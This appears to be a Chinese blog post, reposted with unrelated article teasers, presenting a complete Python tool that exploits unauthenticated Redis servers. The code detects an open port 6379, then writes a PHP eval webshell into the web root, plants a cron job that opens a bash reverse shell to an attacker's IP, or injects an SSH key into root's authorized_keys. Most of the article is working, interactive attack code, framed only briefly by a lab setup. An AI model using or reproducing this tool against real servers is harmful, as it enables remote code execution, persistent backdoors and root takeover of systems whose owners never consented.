python脚本实现Redis未授权访问漏洞利用

news2024/10/10 0:28:04

 之前介绍过Redis未授权访问漏洞,本文使用python实现Redis未授权访问检测以及对应三种getshell。

1 测试环境准备

CentOS 7(192.168.198.66/24):安装 Redis 服务器并用 root 权限开启服务,关闭保护模式;安装并开启 httpd 服务;开启 ssh 服务。

Kali(192.168.198.172/24):测试脚本效果,模拟攻击机。

Win10:VS Code开发脚本,Xshell控制虚拟机。

2 未授权访问检测

首先需要检测 6379 端口是否开启,直接使用 socket 连接测试即可,is_port_open() 函数实现检测端口开启情况。

def is_port_open(host,port):
    s=socket.socket()
    s.settimeout(0.3)
    try:
        s.connect((host,port))
    except Exception as e:
        return False
    else:
        return True
    finally:
        s.close()

 然后尝试连接 Redis 服务器,这里用到redis模块中的StrictRedis(host,port,socket_timeout),通过client_list() 方法获取客户列表查看是否连接成功。如果成功连接到 Redis 服务器, client_list() 的调用就不会抛出异常。

try:
    client = redis.StrictRedis(host=ip, port=port, socket_timeout=0.3)
    ok_lst = client.client_list()
    print('[+] Connected to the Redis server successfully...')
except Exception as e:
    print(f'[-] An unexpected error occurred: {e}')

3 写入webshell

Redis命令:

config set dir /var/www/html
config set dbfilename shell.php
set x "<?php @eval($_POST[123]); ?>"
save

对应的 redis 模块的方法:

client.config_set('dir','/var/www/html')
client.config_set('dbfilename','shell.php')
client.set('x','<?php @eval($_POST[123]); ?>')
client.save()

增加设置根目录一句话木马名称和密码功能:

def Webshell(client):
    try:
        df_dir='/var/www/html'
        web_dir=input('Please enter the root directory of the target machine\'s website, input nothing to use the default path: /var/www/html\n')
        web_dir=web_dir.strip()
        if not web_dir: web_dir=df_dir
        name=input('Please enter the name of the PHP file you want to upload: ')
        passwd=input('Please enter the connection password: ')
        client.config_set('dir',web_dir)
        client.config_set('dbfilename',name+'.php')
        client.set('x','<?php @eval($_POST['+passwd+']); ?>')
        client.save()
        print("[+] Webshell "+name+".php"+" uploaded successfully...")
    except Exception as e:
        print(f"[-] Webshell upload failed: {e}")

4 建立反弹连接

同理,这里利用定时任务实现反弹连接。先设置 Redis 数据库目录到系统定时任务目录,名字设置为 root (相当于修改 root 用户的定时任务),增加用户设定 IP 和端口监听功能。

def Reverse(client):
    try:
        client.config_set('dir','/var/spool/cron')
        client.config_set('dbfilename','root')
        ip=input('Set the attacker\'s IP address: ')
        port=input('Set the listening port: ')
        payload='\n* * * * * bash -i >& /dev/tcp/'+ip+'/'+port+' 0>&1\n'
        client.set('x',payload)
        client.save()
        print("[+] Reverse shell task created successfully...")
    except Exception as e:
        print(f"[-] Reverse shell creation failed: {e}")

5 SSH keys 免密登录

把 Redis 的目录设置为 /root/.ssh,保存文件为 authorized_keys,实现在靶机中 authorized_keys 写入攻击者 ssh 公钥。

def Ssh(client):
    try:
        sshkey=input('Enter the SSH key you have generated: ')
        client.config_set('dir','/root/.ssh')
        client.config_set('dbfilename','authorized_keys')
        client.set('x','\n\n'+sshkey+'\n\n')
        client.save()
        print("[+] SSH key injected successfully.")
    except Exception as e:
        print(f"[-] SSH key injection failed: {e}")

5 完整代码

import numpy as np
import socket
import redis
import sys
def Hello_FK_Redis():
    a,b=60,30
    x,y,r=30,15,13
    img=np.zeros((b,a),dtype=str)
    for i in range(b):
        for j in range(a):
            dist=np.sqrt((i-y)**2+(j-x)**2)
            if r-1<dist<r+1: img[i,j]='*'
            elif abs(j-x)<1 and dist<r: img[i,j]='|'
            elif abs(i-y)<1 and dist<r: img[i,j]='-'
    img[img=='']=' '
    for i in img: print(''.join(i))
    print('----Welcome to use Redis Vulnerability Exploitation Tool----')
def is_port_open(host,port):
    s=socket.socket()
    s.settimeout(0.3)
    try:
        s.connect((host,port))
    except Exception as e:
        return False
    else:
        return True
    finally:
        s.close()
def Webshell(client):
    try:
        df_dir='/var/www/html'
        web_dir=input('Please enter the root directory of the target machine\'s website, input nothing to use the default path: /var/www/html\n')
        web_dir=web_dir.strip()
        if not web_dir: web_dir=df_dir
        name=input('Please enter the name of the PHP file you want to upload: ')
        passwd=input('Please enter the connection password: ')
        client.config_set('dir',web_dir)
        client.config_set('dbfilename',name+'.php')
        client.set('x','<?php @eval($_POST['+passwd+']); ?>')
        client.save()
        print("[+] Webshell "+name+".php"+" uploaded successfully...")
    except Exception as e:
        print(f"[-] Webshell upload failed: {e}")

def Reverse(client):
    try:
        client.config_set('dir','/var/spool/cron')
        client.config_set('dbfilename','root')
        ip=input('Set the attacker\'s IP address: ')
        port=input('Set the listening port: ')
        ip=ip.strip()
        port=port.strip()
        payload='\n* * * * * bash -i >& /dev/tcp/'+ip+'/'+port+' 0>&1\n'
        client.set('x',payload)
        client.save()
        print("[+] Reverse shell task created successfully...")
    except Exception as e:
        print(f"[-] Reverse shell creation failed: {e}")
def Ssh(client):
    try:
        sshkey=input('Enter the SSH key you have generated: ')
        client.config_set('dir','/root/.ssh')
        client.config_set('dbfilename','authorized_keys')
        client.set('x','\n\n'+sshkey+'\n\n')
        client.save()
        print("[+] SSH key injected successfully.")
    except Exception as e:
        print(f"[-] SSH key injection failed: {e}")
if __name__ == '__main__':
    Hello_FK_Redis()
    ip=input('Please enter the target machine\'s IP address: ')
    port=6379
    if is_port_open(ip,port):
        print('[+] Port 6379 is open...')
        print('[*] Trying to connect Redis server...')
        try:
            client=redis.StrictRedis(host=ip,port=port,socket_timeout=0.3)
            ok_lst=client.client_list()
            print('[+] Connected to the Redis server successfully...')
            print('Please choose the exploit method you want to use:\nEnter 1 for webshell\nEnter 2 for establishing a reverse connection\nEnter 3 for SSH key-based authentication\nOr any other character to exit...')
            try:
                c=int(input())
                if c==1: Webshell(client)
                elif c==2: Reverse(client)
                elif c==3: Ssh(client)
                else: 
                    print('[*] Exiting...')
                    sys.exit()
            except Exception:
                print('[*] Exiting...')
                sys.exit()
        except Exception as e:
            print(f'[-] An unexpected error occurred: {e}')

    else:
        print('[-] Port 6379 is not open...')

6 测试效果

webshell

 

反弹连接

监听端口:7777

 下面输入攻击机端口保证与监听的攻击机和端口一致:

 

 免密登录

在 kali 中 .ssh 复制公钥 id_rsa.pub 的内容

 免密登录:

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2195652.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

4-coumarate--CoA ligase4-香豆酸:辅酶A连接酶4CL-文献精读63

Characterization and Functional Analysis of 4-Coumarate:CoA Ligase Genes in Mulberry 桑树中4-香豆酸&#xff1a;辅酶A连接酶基因的表征与功能分析 桑树T2T基因组-文献精读16 摘要 4-香豆酸&#xff1a;辅酶A连接酶&#xff08;4CL&#xff09;由一个小型的多基因家族…

pytest(六)——allure-pytest的基础使用

前言 一、allure-pytest的基础使用 二、需要掌握的allure特性 2.1 Allure报告结构 2.2 Environment 2.3 Categories 2.4 Flaky test 三、allure的特性&#xff0c;allure.step()、allure.attach的详细使用 3.1 allure.step 3.2 allure.attach&#xff08;挺有用的&a…

软件测试比赛-学习

一、环境配置 二、浏览器适配 //1.设置浏览器的位置,google浏览器位置是默认且固定在电脑里的//2.设置浏览器驱动的位置,C:\Users\27743\AppData\Local\Google\Chrome\ApplicationSystem.setProperty("webdriver.chrome.driver", "C:\\Users\\27743\\AppData\\…

【python实操】python小程序之对象的属性操作

引言 python小程序之对象的属性操作 文章目录 引言一、对象的属性操作1.1 题目1.2 代码1.3 代码解释 二、思考2.1 添加属性2.2 获取属性 一、对象的属性操作 1.1 题目 给对象添加属性 1.2 代码 class Cat:# 在缩进中书写⽅法def eat(self):# self 会⾃动出现,暂不管print(f…

弹性分布式数据集RDD详细说明

文章目录 整体介绍一、定义与特性二、操作与转换三、存储级别与持久化四、依赖关系与容错机制五、优化与性能调优 常见操作支持的数据格式1.文本文件 (Text Files)2. CSV 文件3. JSON 文件4. Parquet 文件5. Sequence Files6.Hadoop文件读取A. 读取HDFS上的文本文件B. 使用Hado…

(Linux驱动学习 - 8).信号异步通知

一.异步通知简介 1.信号简介 信号类似于我们硬件上使用的“中断”&#xff0c;只不过信号是软件层次上的。算是在软件层次上对中断的一种模拟&#xff0c;驱动可以通过主动向应用程序发送信号的方式来报告自己可以访问了&#xff0c;应用程序获取到信号以后就可以从驱动设备中…

论文阅读——联邦忘却学习研究综述

文章基本信息 作者&#xff1a; 王鹏飞魏宗正周东生宋威肖蕴明孙庚于硕张强 机构&#xff1a; 大连理工大学计算机科学与技术学院大连理工大学社会计算与认知智能教育部重点实验室大连大学先进设计与智能计算教育部重点实验室美国西北大学计算机科学系吉林大学计算机科学与…

QT调用libusb库stm32407上下位机

安富莱USB上位机教程 参考安富莱的视频&#xff0c;不过这里 调用是libusb最新的库 可以参考上一个文章&#xff1a; QT调用最新的libusb库 https://editor.csdn.net/md/?articleId142733711 调试结果&#xff1a; 资源地址&#xff1a; 上位机&#xff1a;https://downl…

基于pytorch的手写数字识别-训练+使用

import pandas as pd import numpy as np import torch import matplotlib import matplotlib.pyplot as plt from torch.utils.data import TensorDataset, DataLoadermatplotlib.use(tkAgg)# 设置图形配置 config {"font.family": serif,"mathtext.fontset&q…

Maven 高级之分模块设计与继承、聚合

在软件开发中&#xff0c;随着项目规模的扩大&#xff0c;代码量和复杂度不断增加&#xff0c;传统的一体化开发模式逐渐暴露出诸多问题。为了解决这些问题&#xff0c;模块化开发应运而生&#xff0c;而 Maven 正是模块化开发的利器&#xff0c;它提供的继承和聚合机制为构建和…

fiddler抓包20_弱网模拟

课程大纲 ① 打开CustomRules.js文件&#xff1a;Fiddler快捷键“CtrlR”(或鼠标点击&#xff0c;菜单栏 - Rules - Customize Rules)。 ② 设置速率&#xff1a;“CtrlF”&#xff0c;搜索 “m_SimulateModem”&#xff0c;定位至函数。在函数里设置上传、下载速率&#xff0c…

ESP8266模块(WIFI STM32)

目录 一、介绍 二、传感器原理 1.原理图 2.引脚描述 3.ESP8266基础AT指令介绍 4.ESP8266基础工作模式 三、程序设计 main.c文件 esp8266.h文件 esp8266.c文件 四、实验效果 五、资料获取 项目分享 一、介绍 ESP8266是一款嵌入式系统级芯片&#xff0c;它集成了Wi…

将自己写好的项目部署在自己的云服务器上

准备工作 这里呢我要下载的终端软件是Xshell 如图&#xff1a; 自己准备好服务器&#xff0c;我这里的是阿里云的服务器&#xff0c; 如图&#xff1a; 这两个准备好之后呢&#xff0c;然后对我们的项目进行打包。 如图&#xff1a; 这里双击打包就行了。 找到自己打成jar包…

零基础多图详解图神经网络(GNN/GCN)【李沐论文精读】

A Gentle Introduction to Graph Neural Networks 在上图中&#xff0c;每一层都是一层网络&#xff0c;每一层的节点都受到下一层中自身节点和邻居节点的影响。如果网络比较深&#xff0c;是可以处理到一幅图中较大范围的节点。 前言 图神经网络在应用上还只是起步阶段&…

基于SpringBoot健身房管理系统【附源码】

效果如下&#xff1a; 系统首页界面 系统注册详细页面 健身课程详细页面 后台登录界面 管理员主页面 员工界面 健身教练界面 员工主页面 健身教练主页面 研究背景 随着生活水平的提高和健康意识的增强&#xff0c;现代人越来越注重健身。健身房作为一种专业的健身场所&#x…

日期类的实现(C++)

个人主页&#xff1a;Jason_from_China-CSDN博客 所属栏目&#xff1a;C系统性学习_Jason_from_China的博客-CSDN博客 所属栏目&#xff1a;C知识点的补充_Jason_from_China的博客-CSDN博客 前言 日期类是六个成员函数学习的总结和拓展&#xff0c;是实践的体现 创建文件 构造函…

HCIP--以太网交换安全(二)

端口安全 一、端口安全概述 1.1、端口安全概述&#xff1a;端口安全是一种网络设备防护措施&#xff0c;通过将接口学习的MAC地址设为安全地址防止非法用户通信。 1.2、端口安全原理&#xff1a; 类型 定义 特点 安全动态MAC地址 使能端口而未是能Stichy MAC功能是转换的…

在VMware WorkStation上安装飞牛OS(NAS系统)

对于NAS系统&#xff0c;小白相信很多小伙伴都不陌生&#xff0c;在许多场景下也能看得到&#xff0c;它其实可以算是文件存储服务器&#xff0c;当然&#xff0c;你如果给它加上其他服务的话&#xff0c;它也能变成网页服务器、Office协同办公服务器等等。 有许多小伙伴都拿这…

信息安全工程师(38)防火墙类型与实现技术

一、防火墙类型 按软、硬件形式分类 软件防火墙&#xff1a;通过软件实现防火墙功能&#xff0c;通常安装在个人计算机或服务器上&#xff0c;用于保护单个设备或小型网络。硬件防火墙&#xff1a;采用专门的硬件设备来实现防火墙功能&#xff0c;通常部署在企业网络边界或数据…

基于SpringBoot图书馆预约与占座小程序【附源码】

效果如下&#xff1a; 首页界面 用户登录界面 查看座位界面 管理员登录界面 管理员主界面 座位分布信息界面 预约信息界面 研究背景 随着互联网技术的不断进步和智能手机的广泛普及&#xff0c;图书馆作为知识获取和学习的重要场所&#xff0c;其管理方式也在逐步向信息化和智…